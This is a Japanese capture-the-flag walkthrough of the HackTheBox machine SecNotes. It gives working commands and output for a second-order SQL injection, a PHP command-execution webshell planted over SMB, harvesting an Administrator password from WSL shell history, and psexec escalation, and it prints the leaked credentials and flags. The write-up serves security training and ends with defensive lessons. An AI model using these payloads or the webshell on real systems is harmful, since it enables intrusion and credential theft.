HackTheBox: SecNotes — 全実行コマンド・実行結果レポート
Nmap スキャン
80/445/8808
→
80/445/8808
register.php 2次SQLi
‘ or 1=1– – で全ノート漏洩
→
‘ or 1=1– – で全ノート漏洩
tyler資格情報漏洩
new-site共有
→
new-site共有
SMB経由Webシェル配置
new-site = 8808番webroot
→
new-site = 8808番webroot
user.txt ✓
Webシェル同期実行
→
Webシェル同期実行
WSL rootfs探索
.bash_history直接読取
→
.bash_history直接読取
Administrator資格情報
平文の履歴から
→
平文の履歴から
root.txt ✓
impacket-psexec
impacket-psexec
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.79.234 nmap -sV -sC -p 80,445,8808 10.129.79.234
RESULT
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 (title: Secure Notes - Login) 445/tcp open microsoft-ds Windows 10 Enterprise 17134 microsoft-ds 8808/tcp open http Microsoft IIS httpd 10.0 (既定IISページのみ)
ℹ️
0xdfの2019年公開ウォークスルーと完全に同一のポート構成
(80/445/8808のみ)。8808番は見た目は既定のIISページだが、実は後述の
SMB共有
new-siteのwebrootそのものであることが鍵になる。
ログイン画面の確認
BASH
curl -s http://10.129.79.234/login.php
RESULT (抜粋)
<title>Secure Notes - Login</title> <form action="/login.php" method="post"> Username / Password / Login Don't have an account? <a href="register.php">Sign up now</a>.
PHASE 2
register.php の2次SQLiで全ユーザーのノートを漏洩
SQLiペイロードでユーザー登録
BASH
curl -s -c cookies.txt -X POST http://10.129.79.234/register.php \ --data-urlencode "username=zz9x' or 1=1-- -" \ --data-urlencode "password=Test1234!" \ --data-urlencode "confirm_password=Test1234!"
⚠️
ハマりどころ: 固定のSQLiペイロード文字列は一度登録すると
再登録できない(“This username is already taken.”)。再試行する場合は
ランダムな接頭辞を付けて毎回ユニークなユーザー名にする必要がある。
ログインしてノート一覧を取得
BASH
curl -s -c cookies.txt -b cookies.txt -X POST http://10.129.79.234/login.php \ --data-urlencode "username=zz9x' or 1=1-- -" \ --data-urlencode "password=Test1234!" # → 302 Found, Location: home.php curl -s -c cookies.txt -b cookies.txt http://10.129.79.234/home.php
RESULT (抜粋)
<h1>Viewing Secure Notes for <b>zz9x' or 1=1-- -</b></h1>
...
<button class="accordion"><strong>new site </strong></button>
<div class="panel"><pre>\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&</pre></div>
✅
自分のアカウントの条件(
WHERE user = '...')が
SQLi注入により常にTRUEになるため、全ユーザーのノートが一覧表示
される。その中の1件にtylerのSMB資格情報が平文で記載されていた。
この値は2019年の元ウォークスルーと完全一致する。
漏洩した認証情報
tyler : 92g!mA8BGjOirkL%OG*&
PHASE 3
SMB経由でPHP Webシェルを配置
SMB共有の確認
BASH
smbclient -U "tyler%92g!mA8BGjOirkL%OG*&" -L //10.129.79.234
RESULT
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
new-site Disk
PHP Webシェルを配置
PHP (webshell.php)
<HTML><BODY>
<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>
</BODY></HTML>
BASH
smbclient -U "tyler%92g!mA8BGjOirkL%OG*&" //10.129.79.234/new-site \ -c "put shell.php shell.php; ls"
RESULT
putting file shell.php as \shell.php
iisstart.htm iisstart.png shell.php
ℹ️
new-site 共有は8808番ポートのIISサイトのwebrootそのもの。
別サイトではなく、SMBで書き込んだファイルがそのままHTTP経由で実行できる。
RCE確認 — リバースシェルは不要
BASH
curl -s "http://10.129.79.234:8808/shell.php" -G --data-urlencode "cmd=whoami"
RESULT
<HTML><BODY>
secnotes\tyler
</BODY></HTML>
✅
元のウォークスルーは
nc.exeをアップロードしてリバースシェルを
張っていたが、Webシェル自体がsystem()の出力をそのまま
同期的にHTTPレスポンスで返すため、以降の調査・フラグ取得は
すべてcurlのGETリクエストだけで完結できる(リバースシェル不要)。
PHASE 4
user.txt 取得
Webシェル経由でフラグ読み取り
BASH
curl -s "http://10.129.79.234:8808/shell.php" -G \ --data-urlencode 'cmd=type c:\users\tyler\desktop\user.txt'
RESULT
<HTML><BODY>
cc680ca1c569999b46a742015d82d13a
</BODY></HTML>
user.txt — secnotes\tyler
cc680ca1c569999b46a742015d82d13a
PHASE 5
権限昇格調査 — WSLとUWPコンソールのハマりどころ
WSL(Windows Subsystem for Linux)の発見
BASH
curl -s "http://.../shell.php" -G --data-urlencode 'cmd=dir c:\Distros\Ubuntu' curl -s "http://.../shell.php" -G --data-urlencode 'cmd=dir c:\windows\system32\bash.exe'
RESULT
c:\Distros\Ubuntu: install.tar.gz (201,254,783 bytes) ubuntu.exe (222,208 bytes) c:\windows\system32\bash.exe → File Not Found
ℹ️
元のウォークスルー(2019年)では
bash.exeがSystem32にあったが、
本インスタンスには存在しない。代わりにc:\Distros\Ubuntu\ubuntu.exe
(UWPアプリ)からWSLを起動する必要がある。
ハマりどころ: UWPコンソールアプリがハングする
🚨
最初に試した方法: nc.exe (Python制御のリバースシェル経由) で
ubuntu.exeを実行 → 一切応答が返らずシェル全体が完全に
ハングした。これはUWP(Centennial形式)コンソールアプリが、
非対話的にリダイレクトされたstdin/stdoutを正しく扱えない既知の問題。
以降そのシェルセッションは一切のコマンドに応答しなくなった
(echo TESTすら返ってこない)。
NOTE
# ✗ これはハングする(実機で確認) nc.exe経由のcmd.exeシェルから: c:\Distros\Ubuntu\ubuntu.exe # WSLを一切対話起動せずに済ませる方法に切り替える
回避策: WSL1 rootfsはNTFS上の通常パスとして直接読める
✅
WSLを対話的に起動する必要は全くない。 WSL1のrootfsは
Windows側から見ると通常のNTFSファイルとして配置されているだけなので、
PHP Webシェルの
system()呼び出し(= 通常のcmd.exe子プロセス)
で問題なく直接アクセスできる。
BASH (新しいWebシェル接続で再開)
curl -s "http://.../shell.php" -G \ --data-urlencode 'cmd=dir /s /b C:\*.bash_history 2^>nul'
RESULT
C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root\.bash_history
ℹ️
パッケージID部分(
79rhkp1fndgsc)は環境依存のランダム値で
事前に推測できないため、dir /s /bで動的に検索してフルパスを
特定するのが確実。
.bash_history からAdministrator資格情報を取得
BASH
curl -s "http://.../shell.php" -G --data-urlencode \ 'cmd=type "C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root\.bash_history"'
RESULT
cd /mnt/c/
ls
...
mount //127.0.0.1/c$ filesystem/ -o user=administrator
sudo modprobe cifs
smbclient
apt install smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history
less .bash_history
exit
✅
WSLのrootユーザーが過去に
smbclientを使ってC$共有へ
接続した際のコマンド履歴に、Administratorの平文パスワードが
そのまま残っていた。この値も2019年の元ウォークスルーと
完全一致する。
奪取した認証情報
administrator : u6!4ZwgwOM#^OBf#Nwnh
PHASE 6
impacket-psexec → root.txt
psexecでAdministratorシェルを取得
BASH
impacket-psexec "administrator:u6!4ZwgwOM#^OBf#Nwnh@10.129.79.234" \ "cmd.exe /c type c:\users\administrator\desktop\root.txt"
RESULT
[*] Requesting shares on 10.129.79.234.....
[*] Found writable share ADMIN$
[*] Uploading file kMcBXyBb.exe
[*] Opening SVCManager on 10.129.79.234.....
[*] Creating service DUwV on 10.129.79.234.....
[*] Starting service DUwV.....
f560f690da6b33aad5458d8b17369d8a
[*] Process cmd.exe /c type ... finished with ErrorCode: 0, ReturnCode: 0
[*] Stopping service DUwV.....
[*] Removing service DUwV.....
[*] Removing file kMcBXyBb.exe.....
root.txt — Administrator
f560f690da6b33aad5458d8b17369d8a
ℹ️
impacket-psexecは
ADMIN$共有へサービス実行バイナリを
アップロード・サービス登録・起動・結果取得後に自動でクリーンアップする
(元の2018年ウォークスルーと同じ手法)。コマンド実行完了後に
STATUS_PIPE_BROKEN例外が出ることがあるが、これは単一コマンド
指定時にシェルループが終了する際の後処理の例外で、既にフラグは正しく
取得できているため無害。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — secnotes\tyler
cc680ca1c569999b46a742015d82d13a
root.txt — Administrator
f560f690da6b33aad5458d8b17369d8a
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 2次SQLi (Second-Order SQLi) | register.php → home.php |
全ユーザーのノート(平文認証情報含む)の漏洩 | Critical | ユーザー名に' or 1=1-- -を注入して登録・ログインすると全件表示されるクエリ条件を作る |
| SMB共有への書込み権限 = Webroot | new-site共有 (= 8808番IISサイト) |
PHP Webシェル配置によるRCE | High | SMBでアップロードしたファイルがそのままHTTP経由で実行される |
| 認証情報の履歴残留 | WSL rootfsの.bash_history |
ローカル権限昇格 (Administrator奪取) | Medium | WSL上でsmbclientを使った際のコマンド履歴に平文パスワードが残留 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 80/445/8808、”Secure Notes”ログイン画面発見 |
| 2 | 資格情報漏洩 | register.php 2次SQLi | tyler:92g!mA8BGjOirkL%OG*& |
| 3 | RCE | SMB経由PHP Webシェル配置(new-site=8808番webroot) | secnotes\tylerとしてコマンド実行 |
| 4 | フラグ取得 | Webシェル経由 type コマンド | user.txt 取得 |
| 5 | 権限調査 | WSL rootfs直接探索(対話起動せず) | administrator:u6!4ZwgwOM#^OBf#Nwnh |
| 6 | 権限昇格 | impacket-psexec | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ユーザー登録時の入力がSQL文に直接結合される(2次SQLi) | パラメータ化クエリ(Prepared Statement)を使用し、保存時・参照時の両方で入力をデータとして扱う。 |
| SMB共有の書込み権限がWebサーバーのwebrootと一致している | Webrootへの書込みアクセスを許可する共有を作らない。ファイルアップロード機能とWeb実行可能領域を分離する。 |
| ノート機能に機密情報(パスワード)を平文で保存・共有できてしまう | アプリケーション内でのPII/機密情報検出、またはユーザー教育によりパスワードを平文で共有させない運用にする。 |
| WSLのシェル履歴に管理者パスワードが平文で残留 | 機密情報を含むコマンドの履歴記録を無効化する(HISTCONTROL等)か、パスワードマネージャ/認証情報キャッシュを使い平文入力を避ける。 |

